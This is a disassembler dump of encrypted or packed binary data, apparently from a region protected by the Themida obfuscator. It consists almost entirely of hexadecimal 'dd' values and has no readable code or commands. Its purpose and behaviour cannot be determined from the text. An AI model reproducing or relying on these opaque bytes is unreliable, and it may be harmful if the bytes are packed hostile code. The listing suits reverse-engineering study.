		dd 7D71B1B2h, 0D615E15Ch, 3A154085h, 2A793414h,	0F94601E1h
		dd 0C819D4B4h, 96E8A383h, 0A5F63553h, 547F9960h, 244D9F5Ah
		dd 884F94E5h, 0CC43876Eh, 0FA20E123h, 0DC27E2C2h, 0F62E73C0h
		dd 0BD094816h, 0D50D52A3h, 0EE3585AAh, 0FA4191D0h, 325DA2EFh
		dd 7317D38h, 0FD8004B9h, 816199A6h, 14327BC6h, 500AE9C5h
		dd 0ABF86013h, 9032E66h, 0C908C418h, 546E357Eh,	232F5D6Dh
		dd 0B0E80EE1h, 25254092h, 0C6E1232Fh, 223D75A0h, 0E760C6C0h
		dd 3636FD23h, 3863ACF7h, 7F9AC713h, 0E71F774Bh,	9CBAF218h
		dd 0ACDD5D4Dh, 3560FE8Ch, 0DE2E6D3Bh, 0C456C97h, 0ED000000h
		dd 69CB1A28h, 0E335E05Bh, 5DCAE611h, 10FDC417h,	0C9B67DC4h
		dd 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh, 5A470E53h
		dd 1401C80Dh, 0C3B57CC5h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h
		dd 368B68h, 24348900h, 81E28952h, 4C2h,	4EA8300h, 5C241487h
		dd 51241C89h, 563D1A68h, 0E1C15977h, 2EBD5505h,	4D3BE55Bh
		dd 0FC54ED81h, 0E90939FEh, 8AC9815Dh, 8150C02Ah, 0ABA6E7E9h
		dd 59CE89F5h, 241C8B54h, 4C481h, 52560000h, 0D454D1BAh
		dd 24542955h, 438F5A04h, 8438108h, 55D454D1h, 5B2434FFh
		dd 4C481h, 34FF0000h, 0C4835E24h, 19E0E904h, 0D870FFFBh
		dd 0B38E267h, 0B8062E76h, 63C63F1h, 0C38BC503h,	18CE9h
		dd 0E860FC00h, 0Fh, 66527555h, 314EE7CDh, 0D83C17CBh, 0E96CFB93h
		dd 6, 4275C5B1h, 615B276Ch, 6536B58Dh, 6A063Ch,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 3BE387C3h, 0D1744846h, 7880FF7h, 60000000h, 5ED08166h
		dd 858D615Bh, 63A4478h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 64C35747h, 0D0FF4542h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 9CC35040h, 18B0Fh
		dd 0C3F90000h, 0D98C66F5h, 4C1F6FCh, 72840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 830398C3h, 78BB96ADh, 0E9F51825h, 10h, 6FCEFC93h, 2B6ECD77h
		dd 105DF2C8h, 0D7F0661Fh, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh
		dd 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh
		dd 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h
		dd 0E4EB008Bh, 0B8h, 6ACF00h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 29A521C3h, 9B4C6A95h
		dd 0BE9D2h, 0E7D70000h,	6BBAE3F8h, 6F31ACDh, 50006AA9h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 2C9DAEEEh, 0AC6CC180h, 8B666090h, 8A0F61FBh,	1, 9585C7F8h
		dd 3F063C65h, 8D000101h, 3C67628Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0FD2A8D0Ah
		dd 0CA4B8516h, 89FC6A8Dh, 3718758Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8BCBFC3Eh
		dd 370719BDh, 49958906h, 0C7063723h, 37119585h,	734006h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0FC527BE7h, 0C7B2B21Fh, 370F8185h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 308D88BDh, 6382657Bh, 8D09C9D6h, 63721F1h, 2359B5FFh
		dd 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0E81F34C3h, 11h, 38D76180h, 71A32C26h, 3159E76Eh
		dd 0C16C64FCh, 6860FA0h, 0F000000h, 87h, 95FF5B00h, 6371291h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 58C35545h
		dd 100A1A2Ah, 0A9F794A2h, 0A2DBD89h, 6A0637h, 321995FFh
		db 37h
byte_5933B1	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053EE40o
		dd 1B562AEBh, 252F5B3Eh, 5A1EBDE5h, 6520ADBDh, 65D991D9h
		dd 0EB473208h, 1EA7DCCEh, 46FBDD1Ch, 3B4FDD08h,	0D31ED412h
		dd 5425BC19h, 13CE9h, 4Fh dup(0)
		dd 5DBD8300h, 1063709h,	518840Fh, 800F0000h, 7,	1810Fh
		dd 0C6F80000h, 3722B985h, 11E94306h, 0FF000000h, 777A9CECh
		dd 0C7C3EEh, 5B2631C3h,	0D1F9E977h, 4E8h, 0A5D0F500h, 7E9ECh
		dd 5D170000h, 72E3B0A3h, 8A0F5027h, 16h, 11E9h,	2FD1FC00h
		dd 7CA7DA7Bh, 6EAAD7D3h, 7283D2CAh, 448BB087h, 12E90424h
		dd 0B3000000h, 0E4DCE8Ah, 216A6840h, 0E45C0F30h, 9D29BDBEh
		dd 0F008BCDh, 128Dh, 0F525000h,	89h, 0F310F00h,	83h, 89585A00h
		dd 60042444h, 586182B7h, 8890Fh, 820F0000h, 2, 0FFFC6160h
		dd 372339B5h, 8B0F6006h, 3, 61DA8B66h, 720A858Dh, 0FFF8063Ah
		dd 0F8BE60D0h, 661DFDC1h, 0B30CC781h, 65858961h, 0FC063718h
		dd 22B985C6h, 0F9500637h, 0F784C868h, 0F5250E4h, 68Dh
		dd 820F00h, 0F000000h, 0EE931h,	6C180000h, 5B180E15h, 0A49B4E31h
		dd 0F058ACF4h, 3481585Ah, 5A299E24h, 0FFF9F94Ch, 372339B5h
		dd 830F6006h, 6, 8F0Fh,	8D610000h, 3A720A85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 116F1832h, 8833065h,	7870Fh,	8A600000h, 61D680D4h, 60D0FF61h
		dd 10E8h, 4FC1B500h, 84F299FFh,	23F0D2D9h, 0EC6EB4E7h
		dd 0C7BF0FDDh, 0AE858h,	22EC0000h, 0D6518709h, 0FFF3497Fh
		dd 840Fh, 615B0000h, 7FD8589h, 68F80637h, 0D43D1D5Fh, 0E8B0Fh
		dd 0F600000h, 88h, 0F525000h, 61585A31h, 70243481h, 0E924B2B5h
		dd 12h,	0A752DCEBh, 256D5BE4h, 0A661A1BBh, 2EBE3779h, 0B5FFBEFEh
		dd 6372339h, 14E9h, 7B428A00h, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h
		dd 6207D286h, 0A858D49h, 60063A72h, 0FF6169B2h,	8E860D0h
		dd 0E2000000h, 5C8DDC7Ch, 8B4EC062h, 61F858F8h,	26158589h
		dd 60600637h, 1966B966h, 61F0BF0Fh, 0C66167B2h,	3722B985h
		dd 0E8F85006h, 4, 979CDC56h, 52505250h,	8B0Fh, 310F0000h
		dd 8E0Fh, 585A0000h, 8B60310Fh,	616160F7h, 5050585Ah, 12E952h
		dd 31350000h, 27070D00h, 26655792h, 0C1EC32B7h,	0CB8CE920h
		dd 8A0F310Fh, 0Ch, 7E9h, 0FE727800h, 38D0861Ah,	448B585Ah
		dd 66600424h, 0E955BEB8h, 9, 90990DAAh,	0C8A7364Ah, 8B612Eh
		dd 830F5250h, 2, 310F6160h, 0AE9h, 1DB01D00h, 0EA313FFDh
		dd 5A2BC6DFh, 24448958h, 0E9525004h, 8,	0E24DDA79h, 8B0B3B56h
		dd 8B0F310Fh, 6, 8B0Fh,	585A0000h, 18F0F58h, 0FC000000h
		dd 1B49B5FFh, 8B0F0637h, 13h, 0EE9h, 106F1100h,	6EB63291h
		dd 0BD513C5Eh, 8DFAFE52h, 373A1485h, 810F6006h,	2, 880F5951h
		dd 2, 0FF615B53h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 2A726C9Fh, 86F04F6Ch
		dd 0E860398Eh, 0Fh, 0B1D7605Eh,	63490F63h, 417674E7h, 66A8B9F9h
		dd 0D778C081h, 0A7C7815Bh, 61674E33h, 1F870Fh, 890F0000h
		dd 19h,	14E9h, 7744600h, 6504A0A4h, 0F09A4BB5h,	1F72EBFBh
		dd 25558AA8h, 5858993h,	6A06372Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5759C353h
		dd 608DB812h, 870FD52Ch, 17h, 12E9h, 7EB3A100h,	6F55F49Bh
		dd 53575014h, 35AB9B73h, 0E9D7A5EFh, 14Ah, 0BE950F8h, 0C8000000h
		dd 0CB1B49D7h, 1A2861h,	2C894E9Ch, 1850F24h, 0FC000000h
		dd 8E0FEC8Bh, 13h, 0EE9h, 0D8D3F00h, 52821A32h,	0A7DDB05Dh
		dd 833E37F9h, 0B960FCC4h, 495649A8h, 12E9h, 15ED8800h
		dd 535D8705h, 0EB4987B1h, 77414CB8h, 612E607Fh,	5E9F560h
		dd 0FE000000h, 64FE3488h, 0E8h,	0EA815A00h, 63C6D16h, 0FC45C7h
		dd 83000000h, 37095DBAh, 840F0106h, 98h, 6A006A52h, 6592FF0Fh
		dd 5A063718h, 67968289h, 9A8D063Ch, 63C679Ah, 2803C752h
		dd 53000001h, 0FD92FF50h, 5A063707h, 9A9A8D52h,	53063C67h
		dd 6796B2FFh, 92FF063Ch, 6372F05h, 74C00B5Ah, 9A9A8D50h
		dd 8D063C67h, 0C933247Bh, 104F981h, 0D4740000h,	393C8141h
		dd 4558452Eh, 348DEE75h, 0C752B39h, 1D5BA8Dh, 4D8B0637h
		dd 32A4F30Ch, 0FF52AAC0h, 828D0875h, 63701D5h, 1592FF50h
		dd 5A063726h, 0A075C00Bh, 1FC45C7h, 0EB000000h,	0FC45C707h
		dd 0
		dd 0FC458B61h, 8C2C9h, 14E9h, 0BE6B5D00h, 0F5F210FAh, 885E625Ah
		dd 12084594h, 9E9F21B3h, 8E95Ah, 50B30000h, 709E15FCh
		dd 0D28B288Dh, 266E9h, 8C666000h, 4C1F6D9h, 35840Fh, 16A0000h
		dd 1B49B5FFh, 858D0637h, 63A720Ah, 8589D0FFh, 63716F1h
		dd 0EFC1FE8Bh, 680Ch, 6A2006h, 6857026Ah, 1000Dh, 16F195FFh
		dd 32E90637h, 0C6000000h, 3722B985h, 0DF685606h, 0FFA9C530h
		dd 372339B5h, 0A858D06h, 0FF063A72h, 98589D0h, 8D063706h
		dd 3703ED85h, 406A5006h, 0FF56056Ah, 37060995h,	0C36106h
		dd 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 63C6E7Ch, 890C428Bh
		dd 3C6E7485h, 10428B06h, 6E788589h, 0B58D063Ch,	63C6EB2h
		dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 7CB58B00h,	8B063C6Eh
		dd 3C6E7485h, 78BD8306h, 63C6Eh, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
dword_593B2C	dd 60D48B52h, 8908428Bh, 3C6E7C85h, 3B58D06h, 8D063C6Fh
					; DATA XREF: Themida_:0053F608o
		dd 5B7E3585h, 61D0FF00h, 7C858B5Ah, 0C2063C6Eh,	858B0004h
		dd 63C6E7Ch, 8589008Bh,	63C6E7Ch, 0CFh
		db 0
byte_593B65	db 60h,	89h, 0B5h	; DATA XREF: Themida_:0053D234o
		dd 63C6ED9h, 6ED58589h,	858D063Ch, 6372F95h, 8944408Bh
		dd 3C6F1285h, 48B58D06h, 8D063C6Fh, 5B7E3585h, 61D0FF00h
		dd 6ED9858Bh, 8BC3063Ch, 3C6ED59Dh, 43B70F06h, 8BD8033Ch
		dd 9D03785Bh, 63C6ED5h,	324738Bh, 3C6ED5B5h, 7B8B5606h
		dd 1C738B20h, 6ED5BD03h, 0B503063Ch, 63C6ED5h, 0FFC983FCh
		dd 0D99D8B41h, 8B063C6Eh, 0D5950317h, 83063C6Eh, 28A04C7h
		dd 840FC084h, 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh
		dd 0CD850F03h, 5FFFFFFFh, 0B70FE1D1h, 48B0F04h,	0D5850386h
		dd 89063C6Eh, 3C6ED985h, 8BF08B06h, 81C18BCEh, 3C6F12BDh
		dd 30000006h, 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh
		dd 8, 2512E8C1h, 3FF8h,	6F12BD8Bh, 0C83063Ch, 148B0607h
		dd 24C28B07h, 8B813C81h, 57840FC1h, 81000000h, 3C6F12BDh
		dd 30000006h, 0D850FC0h, 0C1000000h, 0FC250AE8h, 0E9003FFFh
		dd 8, 2509E8C1h, 7FFFF8h, 2Dh, 6088340h, 8000F7h, 840F0000h
		dd 1Eh,	6F12BD81h, 63Ch, 840FC030h, 0Eh, 3FF825h, 808B00h
		dd 83C06000h, 8DCF0608h, 3C6E8085h, 11858906h, 8D063729h
		dd 3C6F1685h, 0E5858906h, 8D063705h, 3C6EDD85h,	0B9858906h
		dd 0E8063729h, 13h, 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh
		dd 0B9539721h, 0F978FBAh, 0FD8A6058h, 8161E18Ah, 588EC0h
		dd 0F9BAFC00h, 81411406h, 0EC0F00C2h, 9DC580BEh, 81FC188Bh
		dd 0D4FE6AEBh, 65F78178h, 810A66E5h, 0DEDFE8C3h, 5E84Fh
		dd 0CF1C0000h, 6097E1DEh, 67F4D981h, 840F5C61h,	0
		dd 0EB815F61h, 60D97687h, 5F505160h, 5361F558h,	7E8h, 0E3EA4D00h
		dd 0BE84E2Ch, 13E9h, 0C8D43400h, 3C782CD5h, 0C35B62Bh
		dd 7F3D16A5h, 0E93F6596h, 0FC008F5Eh, 8304E883h, 850F01EAh
		dd 0FFFFFF90h, 4820Fh, 0BE660000h, 8D8D4DECh, 63C71CAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 35C35141h
		dd 4BD64502h, 8D89300Dh, 6371875h, 1145BD29h, 85C70637h
		dd 6371195h, 6E54h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 1BC35747h, 893D104Bh,	6A3C29BAh, 8185C76Dh
		dd 6370Fh, 81000000h, 0AAE7FFC0h, 0CDB5FF7Bh, 8006372Eh
		dd 95FF50DFh, 6371291h,	1E158D29h, 6A0637h, 321995FFh
		dd 0C08B0637h, 0E2CA78EBh, 0B1289EFDh, 4FB2CACEh, 376D6E6h
		dd 0FC6F8DC1h, 29C9C20Ah, 619D3521h, 0AF052D4Ah, 6FF67C1Ch
		dd 48294E6Fh, 0B11364C1h, 63666047h, 0CEC4405Ah, 4182A327h
		dd 7A6574Dh, 5E2190F6h,	0F34F050Dh, 438CE125h, 9A44966Ch
		dd 5AECBD93h, 8BCB15D3h, 4B730348h, 2B484348h, 0BF522412h
		dd 2595528Ah, 7B92ED3h,	3E27E353h, 0F4CF924Fh, 982A6629h
		dd 0E2242229h, 8D8D09C7h, 63C7306h, 6820Fh, 9D8B0000h
		dd 6370D29h, 18758D89h,	85C70637h, 6371195h, 6008h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 86C35242h, 10AFC950h
		dd 85892951h, 63701C5h,	0F8185C7h, 637h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B5FF67C3h, 6371BA5h, 0BE9h,	0D812B700h, 0EBA5BB19h
		dd 55A565F4h, 30799D8Bh, 95FF0637h, 6371291h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D7C35141h, 0A1E670D1h
		dd 9C1BD8Bh, 6A0637h, 321995FFh, 0C08B0637h, 7A2D29EBh
		dd 2CA9FBBEh, 2D593BECh, 1ADF0E52h, 0C7587ADh, 629A0D65h
		dd 69A6111Eh, 91AAD0C8h, 0DE5B9F44h, 32FF62D5h,	0E8F27224h
		dd 7, 71E680DBh, 375F47Bh, 371CEDB5h, 0BE95806h, 0B6000000h
		dd 5D36C0BAh, 7B539F8Ch, 0C081937Eh, 6C32h, 1235B58Bh
		dd 0BCBF0637h, 81554FB3h, 4F98DCEFh, 0F612BA55h, 30FF4752h
		dd 551958Bh, 0FC5B0637h, 1F53C381h, 0BD090FBFh,	6370FFDh
		dd 97C5EB81h, 81661FA6h, 81E42DE9h, 8E78FC3h, 60188967h
		dd 10E9F08Bh, 4E000000h, 12B68E4Dh, 0CF60E681h,	60BAD6D2h
		dd 61032A53h, 8003E883h, 0FC4800E6h, 1EF81h, 850F0000h
		dd 12h,	518D8B57h, 5906370Ah, 19E9h, 0E4237F00h, 858985D7h
		dd 6371E15h, 0FFFF8DE9h, 371131FFh, 98431866h
		db 0A8h, 0CDh
word_59403E	dw 11CCh		; DATA XREF: Themida_:0053EA64o
		dd 480DE9BCh, 0AC63A5D0h, 7321F125h, 37420531h,	72F8794Dh
		dd 87D7FF9Ch, 877082DFh, 261F30A1h, 7A7747EAh, 8A4A239Eh
		dd 31D33801h, 6FF73F9Dh, 5D39309Ch, 3474639Ch, 174E309Ch
		dd 0BE7CF3C7h, 0B69714C0h, 23CD14D8h, 74E4309Ch, 57C8F3CFh
		dd 37393C75h, 526D169Ch, 0F8A4314Ch, 0BC13B320h, 5664BAFFh
		dd 37CA0275h, 60E45A9Ch, 37723374h, 0F466109Ch,	13E0B9C3h
		dd 130AB198h, 37272798h, 0F4C4779Ch, 0FED2279Ch, 0B42C8F93h
		dd 7A0121h, 0B336309Ah,	379C30B8h, 0D6CF56FCh, 0B82882E8h
		dd 37933093h, 37C93A75h, 0D9B8899Ch, 8E9AAC46h,	5672D9F5h
		dd 379ED275h, 8AFB09Ch,	4328B511h, 38F336A0h, 37C93610h
		dd 0F624B19Ch, 822CDC82h, 57A95183h, 45236ECDh,	5644AC04h
		dd 35A93FCCh, 0BC93309Ch, 0B73CA057h, 0B269A875h, 314E436Dh
		dd 8483A069h, 67B2D691h, 2F888FFAh, 0A2D8C80Ch,	31A427E9h
		dd 6916B1FAh, 0CF533FA9h, 0BC14F017h, 1E84B36Eh, 379A0785h
		dd 8ACD39E9h, 31102F7Dh, 678A449Ch, 8F09BBCFh, 37E434E6h
		dd 2C33B515h, 0AAB436ABh, 31A58190h, 6F15E363h,	28C68D1Fh
		dd 439336ABh, 8F9A608Bh, 37E434E6h, 2C33B515h, 0AAB436ABh
		dd 31A59D67h, 6F15E363h, 0DF7730F6h, 3793309Fh,	6F0A68BCh
		dd 33C07415h, 3356741Dh, 3739308Ah, 165F60DCh, 25A7E958h
		dd 0B027309Ch, 0FF630199h, 0B19DCC1Dh, 2CA53866h, 0C45CDDDFh
		dd 5DF9BBC6h, 3474609Ch, 174E309Ch, 0BE7FF3C4h,	0B69714D8h
		dd 22CD14D8h, 77E4309Ch, 0EC91F3CCh, 44C0AD11h,	0BCFA36A0h
		dd 0F8C5566Dh, 5392B511h, 37F936A0h, 37CAD8CEh,	6DC4309Ch
		dd 63FB6A5Fh, 73B834B8h, 378534B8h, 650C309Ch, 5F243F5Fh
		dd 0C8BEF00Bh, 64C95A4Ch, 37E43374h, 0F429109Ch, 1365B9C7h
		dd 13D8B198h, 374E2A98h, 0F474739Ch, 4F7CE2A2h,	387B4AF5h
		dd 37E4351Ah, 0DF208F9Ch, 0F7321723h, 37F7B493h, 0BA41309Ch
		dd 37273094h, 3791B493h, 6898309Ch, 37E43975h, 967C4C9Ch
		dd 0D9A3B1A2h, 0AA118334h, 31797EB7h, 349FC117h, 0DE93309Ch
		dd 37C93096h, 8355FEFAh, 5347AEDCh, 5759649Bh, 0C24BBBFAh
		dd 0C8F93FFDh, 5DC4CFFDh, 347B679Ch, 17C9309Ch,	0BEBBF3C3h
		dd 0B67614E0h, 233D14D8h, 709C309Ch, 5769F3CBh,	3725B093h
		dd 6FC0309Ch, 3654BDFDh, 5DE20CE8h, 349A659Ch, 1739309Ch
		dd 0BEC1F3C1h, 0B64A14F0h, 2F2314D8h, 7293309Ch, 0CA98F3C9h
		dd 0BAC152D7h, 0B168519h, 0D9B8569Ah, 0E763B082h, 0F745FE16h
		dd 371CB493h, 0B6F5309Ch, 0BADC4B7Dh, 0AA1B01h,	36CAC59Ah
		dd 3839309Ch, 379C361Fh, 4EFC509Ch, 0C84651FCh,	62935A7Fh
		dd 37C93374h, 0F4B9109Ch, 131EB9C1h, 137DB198h,	379C2498h
		dd 0F41B759Ch, 31BABDE0h, 0BC950CE8h, 824CBD4Dh, 5DE20CF8h
		dd 349A629Ch, 1739309Ch, 0BEC6F3C6h, 0B64A14C8h, 222314D8h
		dd 7593309Ch, 0D0CCF3CEh, 250DE063h, 0C972309Ch, 954798CFh
		dd 4955C15Eh, 9FA5694Dh, 954BDFDAh, 38533BC4h, 37C96218h
		dd 65E45A9Ch, 37723374h, 0F463109Ch, 13C8B9C6h,	130AB198h
		dd 37272898h, 0F4C1729Ch, 8583F4E0h, 220BB153h,	0BA112D89h
		dd 771B01h, 3424CC9Ah, 0DF4E309Ch, 3727308Dh, 0A77ADC86h
		dd 736EC266h, 0C7019679h, 26F3C7C0h, 2687563Bh,	0D463695Eh
		dd 748EC51Ch, 44C88D11h, 0BA1E36A0h, 31F54735h,	7CB84D24h
		dd 86F70316h, 1C3F0783h, 54BDF153h, 0E20CE836h,	9A659C5Dh
		dd 39309C34h, 0C1F3C117h, 4A14F0BEh, 2314D8B6h,	0F305E983h
		dd 0FC08BA4h, 689h, 3C98100h, 0F6BAC3Eh, 81h, 0FC38B00h
		dd 98Bh, 81666000h, 50C444CAh, 0C08B6159h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D6C35545h, 0B93D731Dh
		dd 4DBD08D1h, 1929BD83h, 75000637h, 0E1BD8309h,	6371Fh
		dd 53501974h, 7AB8C08Bh, 89000004h, 372A0585h, 739D8D06h
		dd 0FF0639B1h, 83585BD3h, 371FE1BDh, 17740006h,	7AB85350h
		dd 89000004h, 372A0585h, 149D8D06h, 0FF0639AEh,	66585BD3h
		dd 0F99E5BAh, 480h, 0EFBE6600h,	0E8C08BC0h, 13h, 931BB17Fh
		dd 0BDC99E2Ch, 0E3FA831Ah, 0F19EE43Ch, 0B94EB8CDh, 67E1AF2Eh
		dd 9DB4B95Eh, 0C681700Ch, 6322h, 13E856h, 944A0000h, 791C9A1Fh
		dd 9B46CC1Dh, 54967C3Ch, 2DA5AD60h, 0DAB70FE6h,	0C02B5B5Fh
		dd 813034FFh, 20100BE3h, 6E95A40h, 7A000000h, 6D5CA6CAh
		dd 70EA8110h, 0E97FC551h, 0Ah, 0E0F50009h, 963231D7h, 0EA81CBF2h
		dd 74BECE47h, 0ACD88160h, 8A52A6C9h, 0F28161C5h, 5A8D9739h
		dd 8B52DA8Bh, 6048FC8h,	13E857h, 72B60000h, 8B7CC7Ch, 0D5FAC594h
		dd 0F178A726h, 0E5720987h, 8E0FC4h, 59000000h, 2106B95Bh
		dd 0E883275Dh, 12E903h,	867F0000h, 2C7F53A3h, 0EC1B4CEAh
		dd 1747AEF8h, 2CE024D8h, 6880F48h, 81000000h, 2AEC02DBh
		dd 0C0F8816Dh, 0FFFFF9Dh, 0FFFF5F85h, 8EBF5FFh,	15D091AEh
		dd 77E7339Ch, 0E30E9h, 7B2D6800h, 0EBE9063Ch, 68FFFB04h
		dd 63C7C35h, 0FB04E1E9h, 7DD468FFh, 0D7E9063Ch,	68FFFB04h
		dd 63C7F3Ch, 0FB04CDE9h, 80AA68FFh, 0C3E9063Ch,	68FFFB04h
		dd 63C8346h, 0FB04B9E9h, 851568FFh, 0AFE9063Ch,	68FFFB04h
		dd 63C8622h, 0FB04A5E9h, 0E61A7FFh, 0DB24732Eh,	0AEF340FBh
		dd 7DC213CEh, 4D90E29Dh, 38C2C26Dh, 8C3A3E6h, 0D99474BDh
		dd 0A7624289h, 0B034145Bh, 0B59BAFCAh, 1B48E71Fh, 0CA115D27h
		dd 83CA1603h, 0DD181665h, 70D0BA01h, 23BF7555h,	98D0F6E1h
		dd 2E82736Dh, 9BE43372h, 23BF96B4h, 142F55E1h, 6BFF921Ah
		dd 0ABC90194h, 5AB29F90h, 0AEA8F7E7h, 5D8C53EFh, 33173250h
		dd 0B0E714C9h, 5E845F8Ah, 0C980CE97h, 0EBF9E714h, 8DA58CCDh
		dd 8BDD3C5Fh, 14C15A70h, 0FE09AFE7h, 0A7B4CF00h, 5B95C0E6h
		dd 51h,	0AAA0BB0Dh, 0DFE714FBh,	6D8C6895h, 5A804152h, 0D327132Fh
		dd 0DBC4DFFDh, 0A3E75AECh, 6CD1464h, 0D3DFEB06h, 668CE714h
		dd 228032Eh, 0D324723Bh, 8F9DE714h, 0AC013071h,	32813C5Fh
		dd 6D88DB72h, 0E714325Dh, 2FCDE80Eh, 9CD60114h,	0CEh, 0CA115D6Ah
		dd 0D9226DACh, 8EE0CDAEh, 4B97844Bh, 5AA7E604h,	909EA15h
		dd 1ABBE1BAh, 0C4EF5913h, 2C0C539Fh, 23ADF895h,	266DB9E1h
		dd 0ED397846h, 5D6D88A6h, 0EE123B4h, 4C98BDE8h,	0C71B3E05h
		dd 0AFB8D3F1h, 94E75A9Fh, 499D8E6Eh, 460D54A0h,	97D6F42Ch
		dd 243E054Ah, 0ACA6C1F9h, 3FE16A1Eh, 57A9FB19h,	2D1E0E3Ch
		dd 8CB7DDE1h, 0ADEC1567h, 3751185Bh, 2D1E7A50h,	8BC3E9E1h
		dd 5B9EF0ABh, 0BD048B90h, 0AE9D543Fh, 0BC3h, 0B797EA30h
		dd 8464ADFCh, 57377CC9h, 26064B9Ch, 0F6D6196Bh,	6FC1754Bh
		dd 46914C2Ch, 12621DFDh, 0E430EBCBh, 5339BD9Dh,	1FB71238h
		dd 0B0A4D1E7h, 0F67EFB4Ah, 0C7BC152Bh, 0E225779Ch, 0B4FB4702h
		dd 0D32722D4h, 0DBC4DFFDh, 0E75AECh, 7C4A13DAh,	75E714D3h
		dd 29084967h, 593C5FACh, 0BD84C91Ah, 63E83D0h, 0D7A1DBh
		dd 5D6F0000h, 1603CA11h, 0F1BA81C4h, 0E123D194h, 22024995h
		dd 83C81554h, 3EEFBFBCh, 0DFD3122h, 3985AAD5h, 3082D4F2h
		dd 23123515h, 0A990B6E1h, 0E12312A1h, 11011C42h, 83A70823h
		dd 5073547Fh, 0B90826FCh, 0EDC1D25h, 76B90BEEh,	0C0DB133Eh
		dd 0E75AC6B7h, 6BAE003Fh, 5F3F6540h
		dd 44611A6Eh, 357ECDF5h, 0C46FF81Ah, 536E8Ch, 5BE16ACAh
		dd 76C51735h, 58753884h, 0D4F9248Ch, 915F3F82h,	6AAF003Fh
		dd 2D8B4783h, 0DB2B24E1h, 7BB3CD94h, 96D92B50h,	0BD9158CBh
		dd 7B6A213Fh, 0ABBh, 0AF8FE228h, 7C5CA5F4h, 4F2F74C1h
		dd 1EFE4394h, 0EECE1163h, 67B97D43h, 3E894424h,	0A5A15F5h
		dd 0DC28E3C3h, 4B31B595h, 1FB01A30h, 0A89CC9E7h, 0E8C80B5Dh
		dd 0BA9AE12Dh, 0CA115D08h, 0B3F5AACh, 7BE123CCh, 23CC6A60h
		dd 12D3F9E1h, 0F3E0C1ECh, 0B28060A7h, 47171160h, 1FDE43EEh
		dd 23511238h, 4EC8D1E1h, 0CB54B3D0h, 0EA4570A8h, 63A2C096h
		dd 0B2B1CC13h, 0B5C94B2Fh, 0A5C0F823h, 0E75AA53Ch, 988FA6AFh
		dd 0AFEE3770h, 9EE7B077h, 13E714A5h, 8BA6E705h,	0F73C5FF1h
		dd 5E256CB8h, 4DF1944h,	0AD000007h, 0DFFDD327h,	0A98C3E8Dh
		dd 40C1AC7Dh, 0F1BF1415h, 62CE75Ah, 0EA28763Fh,	93A1E714h
		dd 7BC70675h, 2F806D34h, 0D10923EAh, 0AE959CA6h, 0D0EB3C5Fh
		dd 0B9000006h, 0DFFDD327h, 5AFB5FC4h, 0ACE02FE7h, 2F6EA561h
		dd 466C4772h, 14E8B67Fh, 0BD09E714h, 75C2AF76h,	26746930h
		dd 4C7E9908h, 1FE71414h, 808EC1F9h, 61102162h, 20723C60h
		dd 142CC505h, 5580A6E7h, 68A1Bh, 559AE900h, 0D8F20D5Fh
		dd 41E123CCh, 0CBE5ACEFh, 5EB9E40Ah, 0FB16340Ah, 0E75AEF7Ah
		dd 0CF70CBF1h, 6B0FD49Eh, 0DFBE2978h, 957D347h,	592F83DEh
		dd 0F8EF203Bh, 0DE046D78h, 0F7A0F417h, 849E65AAh, 27132E4Ch
		dd 0C46B4E0Dh, 0F131809Eh, 0F60608D8h, 3C7BB3DEh, 0A2A8C3F0h
		dd 0E76B011Dh, 0E3B1B1C8h, 433CFD4Bh, 0CCE6ADF2h, 0EF3E5C94h
		dd 9BAC7AD5h, 2E285310h, 15E02773h, 0B59104F8h,	1C2B1AD1h
		dd 89000009h, 5510F043h, 22DDBD06h, 0F5B090D5h,	0C47F5FA4h
		dd 0A44F2F72h, 85C81ADCh, 569FEAA5h, 246BBB76h,	0F63D8944h
